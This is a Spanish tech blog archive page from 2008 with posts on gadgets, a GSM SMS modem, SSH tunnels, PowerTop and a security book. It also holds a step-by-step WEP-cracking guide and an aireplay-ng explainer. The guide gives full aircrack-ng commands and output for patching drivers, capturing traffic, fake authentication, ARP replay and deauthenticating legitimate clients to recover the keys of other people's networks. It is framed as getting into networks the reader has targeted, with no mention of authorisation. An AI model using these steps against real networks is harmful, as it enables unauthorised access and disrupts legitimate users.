BluePad - Controla tu PC desde el móvil

Abril 24th, 2008

¿Quién no ha querido alguna vez tener un mando a distancia para manejar su PC? Cierto que hoy en día los equipos orientados a media center ya traen uno incorporado, pero si, al igual que yo, no eres el afortunado poseedor de uno de esos, tranquilo. Ahora gracias a BluePad ya puedes convertir tu móvil (con bluetooth) en un buen control remoto.

La aplicación consta de dos programas: uno para instalarlo en el PC y otro, escrito en Java, para instalarlo en el móvil. Así pues, los requisitos mínimos son que el móvil soporte Java y tenga Bluetooth, aunque como dice el autor puedes encontrar algún problema en algún modelo concreto. En la web oficial tienes una lista de los modelos en los que han sido testeado.

A parte de la utilidad obvia de ver pelis mientras estás tranquilamente acostado en la cama, también puede servirte como mando a distancia para las presentaciones. En fin, una idea original que no podemos dejar de tener en cuenta.

Y ahora un video para que veas como funciona:

No está mal, ¿verdad?

Categorías: interesante | 4 comentarios

Modem GSM - Centralita de SMS

Abril 23rd, 2008

Estos días he estado programando un modem GSM para un concurso que ha sacado el Cabildo de Gran Canaria con motivo del día del libro, éste consiste básicamente en enviar relatos cortos vía SMS, estos relatos son publicados en una web y lo más votados serán premiados. Antes que nada quiero aplaudir desde aquí tan novedosa iniciativa, podéis informaros del concurso en la web www.relatoscortosxsms.com/.

Y ahora a lo que iba, el terminal que he estado usando es el TC35i de Siemems y la verdad es que me ha sorprendido el mundo de posibilidades que se abre ante nosotros gracias a este pequeño dispositivo. Basta conectarlo al ordenador e insertarle una tarjeta SIM (yo trabajé con una prepago) y ya podemos dar rienda suelta a nuestra imaginación: recibir un sms cada vez que tengamos un correo nuevo o se active un nuevo evento en nuestra agenda, enviar comandos a nuestro equipo vía SMS (activar/desactivar servicios, ejecutar reglas iptables, incluso hacer redirecciones en nuestro router)… y si tenemos la casa domotizada ya ni te cuento. En definitiva, control total vía SMS… y eso por no hablar de los concursos que nos podemos montar en nuestra propia casa.

El modem se controla a través de un puerto serie vía comandos AT. Dicho así puede parecer complicado, pero lo cierto es que si tienes conocimientos de programación te resultará bastante sencillo.

Ya sabes, por un módico precio tienes un mundo de posibilidades vía SMS.

Categorías: interesante | 2 comentarios

Un reloj para dormir mejor

Abril 16th, 2008

A veces descubrimos inventos que nos dejan con la boca abierta, tanto por su originalidad como porque no pensabamos que fuera posible hacer algo así. Eso exactamente fue lo que me pasó cuando descubrí este curioso gadget: SleepTracker

Foto Reloj

Este ingenio monitoriza tu cuerpo durante las horas de sueño y analiza los distintos estados por los que va pasando, de tal forma que al día siguiente podrás ver en el ordenador una gráfica que te indica lo bien que has dormido y la duración de cada uno de tus ciclos de sueño. Pero lo más increíble de este reloj es su función de despertador: tu le indicas la hora a la que quieres levantarte (como a cualquier otro despertador) y él monitoriza tus constantes unos 40 min. antes de la hora señalada. Si durante ese tiempo detecta que tu ciclo de sueño está cercano al despertar, te despierta en ese momento, lo que te hace sentirte bastante más fresco y relajado que si te despertaras durante una fase más profunda del ciclo de sueño, además te permitirá ganar algunos minutos extras, lo que nunca viene mal.

Además este reloj tiene otras interesantes funciones entre las que cabe destacar un despertardor por vibración, ideal si no quieres despertar a nadie más. Sin duda un gadget a tener en cuenta.

Categorías: gadgets | 4 comentarios

La guía definitiva para romper claves WEP (con clientes conectados)

Abril 8th, 2008

Sí, tengo un poco abandonado el blog y no voy a justificarme… la vida es así. Pero bueno, por fin he encontrado un rato para escribir la guía que tantos me habéis pedido, una guía paso a paso sobre como romper claves WEP. He decidido dividir la guía en dos partes diferenciadas por su contenido. En ésta exploraremos como hacernos con las contraseñas de esas redes que tienen clientes wifi conectados y ya en la segunda, atacaremos las redes que aunque ofrecen cobertura wifi nadie se conecta (legítimamente) a ellas. Bien, comencemos sin más preámbulos:

Réquisitos Previos

* Tener Linux (por supuesto), o al menos cualquier distribución Live como por ejemplo Knoppix-STD.

* Descargar la última versión del aircrack-ng (es importante que descarges una versión superior a la 0.94).

Instalar el aircrack-ng

Si como te dije en requisitos previos has descargado el aircrack-ng desde la web, ahora toca instalarlo:

$ tar xzf aircrack-ng-1.0-beta2.tar.gz

$ cd aircrack-ng-1.0-beta2/

$ make

$ sudo make install

Si no me has hecho caso e instalaste el aircrack-ng desde tu gestor de paquetes (apt-get, yum, o el que sea) comprueba que la versión sea superior a la 0.94 y si no es así, bájalo desde la web e instálalo.

Parchear los drivers de la tarjeta de red

Los drivers originales de la tarjeta de red normalmente no permiten inyectar tráfico en una wifi, es decir, generar paquetes a medida e inyectarlos en la red para lograr nuestros objetivos. Por lo tanto, se hace necesario parchear los drivers de nuestra tarjeta de red. Para saber que tarjeta de red estás usando prueba con:

$ lspci | grep Network
0c:00.0 Network controller: Intel Corporation PRO/Wireless 3945ABG Network Connection (rev 02)

En la págian oficial del aircrack-ng encontrarás un montón de parches para diferentes drivers. Elige el que corresponda a tu tarjeta y luego parchea tu kernel. No te asustes, no es complicado (si tu driver es exactamente el que aparece arriba, sáltate los siguientes pasos):

1. Busca las fuentes de tu kernel, normalmente deberían estar en /usr/src/linux (si no las tienes, descárgalas desde www.kernel.org).

2. Baja el parche a /usr/src

3. Aplica el parche con el comando patch:

# cd /usr/src/linux

# patch -p1 < /usr/src/nombre.parche

4. Compila e instala el nuevo kernel (déjame un comentario si tienes problemas para hacer esto).

PERO si tu tarjeta de red es igual que la mía Intel Corporation PRO/Wireless 3945ABG estás de suerte, porque te voy a explicar el procedimiento paso a paso ;)

Este driver no está entre los que podemos encontrar en la web del aircrack-ng, sin embargo existe una página alternativa en donde podemos descargárnoslo: http://homepages.tu-darmstadt.de/~p_larbig/wlan/

1. Nos descargamos la última versión

$ wget http://homepages.tu-darmstadt.de/~p_larbig/wlan/ipwraw-ng-2.3.4-04022008.tar.bz2

2. Ahora necesitamos los fuentes del núcleo. Si hemos compilado nuestro propio kernel, ya tendremos los fuentes. Si estamos usando una versión precompilada del kernel, necesitamos las cabeceras. Si usas Debian o Ubuntu bájate las cabeceras de una forma similar a la siguiente:

# uname -a

Linux Darky 2.6.18-5-686 #1 SMP Tue Nov 20 13:39:58 WET 2007 i686 GNU/Linux

# apt-get install linux-headers-2.6.18-5-686

Si las cabeceras que estás intentando instalar ya no se encuentran en el repositorio de tu distribución, tendrás que actualizar tu kernel a una versión más reciente vía apt-get y luego instalar las cabeceras.

3. Instalamos el driver

# tar xjf ipwraw-ng-2.3.4-04022008.tar.bz2

# cd ipwraw-ng

# make

# make install

# make install_ucode

4. Descargamos el driver original y usamos el parcheado (ATENCIÓN: el nuevo driver no sirve para navegar normalmente, así que sólo lo cargaremos cuando vayamos a monitorizar/inyectar paquetes).

# rmmod ipw3945

# modprobe ipwraw

Fijar un objetivo

Supongo que si estás leyendo este tutorial es porque ya le has echado el ojo a alguna red, pero si no es así lo primero que tenemos que tener claro es que red vamos a atacar y obtener unos cuantos datos sobre ella. Hay muchas formas de hacer esto, pero ya que estamos usando aircrack-ng emplearemos la utilidad de monitoreo que trae este kit. Así pues, primero echamos un vistazo a las redes disponibles:

# airodump-ng eth2

—-

CH 10 ][ Elapsed: 12 s ][ 2008-04-08 11:23

BSSID PWR Beacons #D, #/s CH MB ENC CIPHER AUTH ESSID

00:14:51:74:5E:FF 0 20 69 0 6 54 WEP WEP air_wifi

BSSID STATION PWR Rate Lost Packets Probes

00:14:51:74:5E:FF 00:18:DE:10:99:3B 0 0- 0 0 5
00:14:51:74:5E:FF 00:12:F0:06:62:5A 0 0- 0 209 70

—-

Hemos detectado una red con dos clientes conectados. Ahora necesitamos obtener la máxima información de esa red (capturar todos los paquetes de datos entres los clientes y el punto de acceso), así que volvemos a relanzar el airodump-ng pero incluyendo opciones para que sólo capture paquetes de esa red. Además, debemos guardar todo lo capturado en un fichero, que nos será de gran utilidad más tarde.

# airodump-ng –bssid 00:14:51:74:5E:FF –channel 6 –write captura eth2

El BSSID y el CHANNEL lo obtenemos de la anterior ejecución del airodump.

Acelerar el proceso

Para poder romper una clave WEP necesitamos capturar un elevado número de paquetes útiles, para acelerar el proceso de captura de datos usaremos la combinaicón de dos técnicas: ARP Replay y DeAuth.

Con la primera técnica pondremos a nuestro equipo a escuchar y cada vez que capture un paquete ARP lo reenviará hasta la saciedad, con la segunda forzaremos a los clientes legítimos a desconectarse, lo que implica que tendrán que iniciar el proceso de conexión nuevamente y por lo tanto generarán una oleada de paquetes ARP que nuestro anterior ataque se encargará de utilizar provechosamente.

Ataque ARP Replay

Para llevar a cabo este ataque, lo primero es registrar nuestro equipo en la wifi (requiere que hayamos parcheado los drivers de nuestra tarjeta de red).

Así pues, necesitamos la MAC de nuestra tarjeta wifi:

# ifconfig eth2
eth2 Link encap:UNSPEC HWaddr 00-19-D2-6D-1E-01-F4-FF-00-00-00-00-00-00-00-00
UP BROADCAST NOTRAILERS RUNNING PROMISC ALLMULTI MTU:2346 Metric:1
RX packets:15373 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1874966 (1.7 MiB) TX bytes:0 (0.0 b)
Interrupt:17 Base address:0xc000 Memory:efdff000-efdfffff

La MAC son los 6 primeros pares de dígitos que encontramos tras HWaddr, en mi caso sería: 00:19:D2:6D:1E:01

Con este dato y con los que tenemos del paso anterior ya podemos iniciar el ataque:

Primero, nos registramos:

# aireplay-ng -1 0 -e air_wifi -a 00:14:51:74:5E:FF -h 00:19:D2:6D:1E:01 eth2
18:18:20 Sending Authentication Request
18:18:20 Authentication successful
18:18:20 Sending Association Request
18:18:20 Association successful :-)

Luego dejamos funcionando el ataque ARP Replay:

# aireplay-ng -3 -b 00:14:51:74:5E:FF -h 00:19:D2:6D:1E:01 eth2

Y ahora lanzamos el ataque DeAuth para desconectar a los clientes legítimos:

# aireplay-ng -0 1 -a 00:14:51:74:5E:FF eth2

Si todo va bien, veremos como la ventana donde hemos puesto a funcionar el ataque “ARP Replay” comienza a llenarse con actividad de paquetes enviados. Y también veremos como la ventana del airodump-ng comienza a registrar una cantidad notable de tráfico y lo que es más importante, muchos paquetes con vectores IV útiles.

Después de capturar suficientes paquetes sólo nos queda poner a funcionar el aircrack-ng

# aircrack-ng captura.cap

Y a esperar a que obtenga la ansiada clave. Bueno, espero vuestros comentarios, sugerencias y correcciones. Ya escribiré la segunda parte un año de estos :P

Categorías: seguridad, tutoriales | 7 comentarios

aireplay-ng desmitificado

Marzo 7th, 2008

De entre todas las utilidades que nos encontramos en el kit aircrack-ng el aireplay-ng es quizá la más complicada de comprender debido a sus múltiples funcionalidades. Con este post pretendo arrojar un poco de luz sobre los modos de uso de esta potente herramienta, se trata de una discusión conceptual, así que no espéreis encontrar un montón de comandos, mi objetivo en este caso es explicar lo que puede y no puede hacer el aireplay-ng.

Para entrar en situación recordemos que el kit aircrack-ng nos trae, entre otras cosas, tres utilidades importantes:

* airodump-ng -> Para capturar datos
* aircrack-ng -> Para encontrar la clave wep en los datos capturados por el airdoump
* aireplay-ng -> Para aumentar la cantidad de tráfico, ya que se necesitan un número mínimo de paquetes para que el ataque tenga éxito.

También sabéis que no todos los paquetes capturados nos valen, sólo aquellos que tengan un IV (vector de inicialización) con información útil. Estos paquetes no son tan frecuentes como desaríamos y es ahí en dónde entra en juego el aireplay-ng.

Vamos por partes, normalmente cuando la cantidad de tráfico capturado es poca pero no nula, para acelerar el proceso de captura de datos se suele usar el modo –arpreplay (-3). En este modo se capturan los paquetes ARP lanzados por un cliente legítimo y se vuelven a inyectar en la red esperando que el punto de acceso nos responda con tramas cuyos IV sean diferentes a los que ya tenemos. Es sin duda el método estándar. Una variación del mismo es el modo –interactive (-2), que hace exactamente lo mismo pero permite elegir al usuario que paquete reinyectar.

Otro método muy útil para cuando existen clientes legítimos conectados es el –deauth (-0). Esto desconecta de la wifi a los clientes legítimos, forzándolos a iniciar de nuevo el proceso de autenticación que es en donde más tramas útiles se capturan. La combinación de este método con el anterior (–arpreplay) suele ser la más efectiva.

Sin embargo, para llevar a cabo este ataque es necesario que nuestro equipo esté asociado a la wifi víctima, ya que si no la inyección de paquetes no será posible (el punto de acceso rechazará cualquier conexión de un equipo que no se haya asociado previamente). Ahí es donde entra en juego el modo –fakeauth (-1). Usándolo podemos conectar un cliente falso a la red wifi y luego reinyectar los paquetes ARP que hayamos capturado. Normalmente los drivers de las tarjetas wifi no nos permiten hacer este tipo de inyección, así pues, la mayoría de las veces tendremos que recurrir a drivers no oficiales para lograr nuestro objetivo.

Por último sólo me queda comentar los modos –chopchop (-4) y –fragment (-5). Estos modos avanzados que en principio no son útiles para romper claves wep, nos pueden permitir crear paquetes especiales que luego podemos usar para forzar que el punto de acceso genere paquetes útiles para nuestros fines. Estos métodos nos son útiles cuando no existen clientes legítimos conectados a la red.

Pues espero que esto ayude a aclarar un poco lo que puede hacer el aireplay-ng. En el próximo artículo le daremos un uso práctico ;-)

Categorías: seguridad | 6 comentarios

Romper las claves WEP de los routers de Telefónica

Febrero 25th, 2008

Todos habréis oído que las claves WEP que Teléfonica coloca a sus routers no son totalmente arbitrarias. Hace tiempo que pensaba escribir un artículo sobre el tema y cómo conseguir de forma  sencilla acceso a las redes así protegidas. Pues bien, ya no lo voy a escribir. El otro día me encontré con un blogger que se me había adelantado… quizás cuando tenga un rato libre haga una revisión de su artículo, hay cosas que creo se podrían mejorar en el método que él expone, pero sin duda lo encontraréis interesante: Romper claves wep de teléfonica

Categorías: interesante, seguridad | 2 comentarios

Tuneles SSH

Febrero 12th, 2008

Para inaugurar la sección de Tipos&Tricks explicaré que son los tuneles SSH y cómo realizarlos.

Bien, imaginemos una situación como la que ilustra el siguiente esquema. Tenemos una máquina cliente que tiene acceso a un servidor SSH remoto. Ese servidor es la puerta de entrada a una red interna y la única máquina de dicha red que puede ser accedida desde internet. Nuestro equipo cliente desea acceder a una aplicación web situada en el servidor web local de la red interna.

Diagrama SSH

La solución clásica al problema sería redireccionar el puerto 80 (web) desde el equipo SSH al servdidor web, lo que haría que ese servicio esté disponible desde Internet. Sin embargo, en esta ocasión no queremos que ese servidor sea accedido desde fuera, ya que es una aplicación dirigida a empleados de la empresa y no es deseable que sea consultada por terceros.

Pues bien, para casos como este y otros similares la solución está en los tuneles SSH. Mediante este mecanismo podemos pedir a un servidor SSH remoto que establezca una conexión entre nuestro equipo cliente y un servicio al que él tenga acceso. Para el caso concreto que hemos descrito, tendríamos que pedir al servidor SSH que nos abriera una conexión entre nuestro equipo y el servicio Web del servidor web interno. Lo que se haría con el siguiente comando:

$ ssh -L 9080:ip.privada.servidor.web:80 usuario@servidor.ssh

Este comando abre una sesión SSH con el host ‘servdior.ssh‘ como usuario ‘usuario‘ (tras poner correctamente la contraseña de inicio de sesión, por supuesto). Simultáneamente, crea un tunel SSH entre el puerto local 9080 y el servicio web remoto que se encuentra en el servidor web de la red privada.  A partir de este momento bastará poner en el navegador del equipo cliente la dirección ‘http://localhost:9080/‘ para acceder  al servidor remoto, ya que gracias al tunel que hemos creado todo lo enviado por ese puerto llegará hasta esa máquina inalcanzable de manera directa desde Internet.

Este concepto se puede aplicar de muchas maneras posibles y en muy diversas situaciones, y también hay otras opciones adicionales para crear los tuneles, pero no quiero convertir el post en un listado de comandos. Mi intención es que sirva de partida para que exploreis las posibilidades de este mecanismo.

Categorías: Tips&Tricks | 1 comentario

Tips & Tricks

Febrero 11th, 2008

Tengo el blog un poco descuidado y os voy a contar por qué. Podría caer en la tentación de decir que me falta tiempo, lo que es en parte cierto. Mi tiempo libre no es mucho, pero cuando lo tengo no me apetece demasiado ponerme a escribir uno de esos artículos que tengo en la lista de pendientes. Y eso es porque son artículos largos y laboriosos, entre ellos se encuentra un howto sobre cómo realizar ataques de DNS Spoofing a nivel local y una revisión del artículo sobre como romper claves WEP, he recibido algunos comentarios acerca de este último y parece que necesita un enfoque más simple y práctico.

Así que visto lo visto, y cómo no sé cuando tendré tiempo y ganas para escribir esos artículos, he decidio crear una sección llamada Tips & Tricks en donde comentaré (de manera breve) diferentes utilidades, métodos o formas de hacer las cosas que he ido descubriendo a lo largo de estos años y que creo que pueden ser de interés para todos. Posiblemente muchas de ellas ya las conozcáis, pero la idea es crear una recopilación de trucos que nos faciliten o ayuden en nuestro trabajo.

Si tenéis algún truco que queráis compartir, dejad un comentario en este post.

Categorías: Tips&Tricks | No hay comentarios

Seguridad de Sistemas en Red

Febrero 2nd, 2008

Me alegra anunciar que después de infinidad de papeleo y tiempos de espera, por fin ha salido a la luz el libro que escribí junto a José A. Muñoz: Seguridad de Sistemas en Red. Un libro técnico en el que hemos hecho un largo recorrido a través de las diferentes formas en las que se puede vulnerar un sistema conectado en una red TCP/IP y las contramedidas necesarias para evitar tales ataques. Aunque es un libro en el que se describe de forma teórica los ataques y sus fundamentos (así como las defensas a los mismos), siempre hemos intentando darle un enfoque más práctico añadiendo ejemplos y referencia a utilidades que permitan al lector comprobar por si mismo la fuerza demoledora de tales ataques, así como la efectividad de los mecanismos defensivos que tenemos a nuestra disposición.

De momento el libro no se puede encontrar en librerías, pero me han comunicado que en breve estará disponible en la tienda de la ULPGC. Mi intención inicial era liberar una publicación electrónica a la vez que la publicación impresa, sin embargo, el contrato que he firmado me impide liberar el documento en la red hasta dentro de unos años.

portadaseguridadred.jpg

Os dejo el índice del documento, la numeración de las páginas no se corresponde con la de la obra publicada, sino con la del borrador que enviamos a maquetación.


Descargar Índice de Seguridad de Sistemas en Red

Categorías: interesante | 4 comentarios

Cómo hacer que la batería dure más tiempo

Enero 25th, 2008

Todos alguna vez nos hemos (o nos han) preguntado: ¿Por qué la batería me dura más en Windows que en Linux? Pues simplemente porque los fabricantes de portátiles se encargan de hacer buenos programas para gestionar la energía bajo Windows. Estas pequeñas joyas que cada compañía hace a medida para su equipo, son capaces de controlar y desactivar todo aquello que no se usa, suspenden el bluetooth, ponen el wifi en modo ahorro, bajan el brillo a medida que se consume la batería, suspenden la energía de los puertos usb que no se están usando, etc, etc. En conjunto todas estos pequeños ahorros de energía producen un ahorro significativo que expande considerablemente la duración de la batería.

En Linux hemos ido siempre un paso por detrás en este sentido, es cierto que existen algunos programas que son capaces de reaccionar a ciertos eventos ACPI, haciendo, por ejemplo, que el portátil se comporte de manera diferente según la batería que nos quede. Pero nunca habíamos tenido una herramienta que nos permitiera identificar con claridad los ‘agujeros negros’ de nuestro equipo, es decir, esos procesos que consumen más de lo que estamos dispuestos a permitir o esas carencias de configuración que hacen que el portátil gaste energía en algo que es innecesario.

Pero estamos de enhorabuena, Intel ha desarrollado y liberado una pequeña herramienta que nos permitirá identificar cuales son los procesos que más energía consumen, además esta pequeña utilidad nos dará consejos sobre como configurar nuestro equipo para hacer un mejor uso de la batería, es más, muchas veces bastará pulsar una tecla para que la aplicación aplique el consejo (eso sí, para hacerlo persistente tendremos que crear un script que ejecute las medidas recomendadas durante el arranque del sistema).

La utilidad se llama PowerTop y si tienes un portátil Intel ya deberías estarla usando (si usas una distribución Debian o similar también puedes descargarla vía apt-get).

Categorías: interesante, linux | 11 comentarios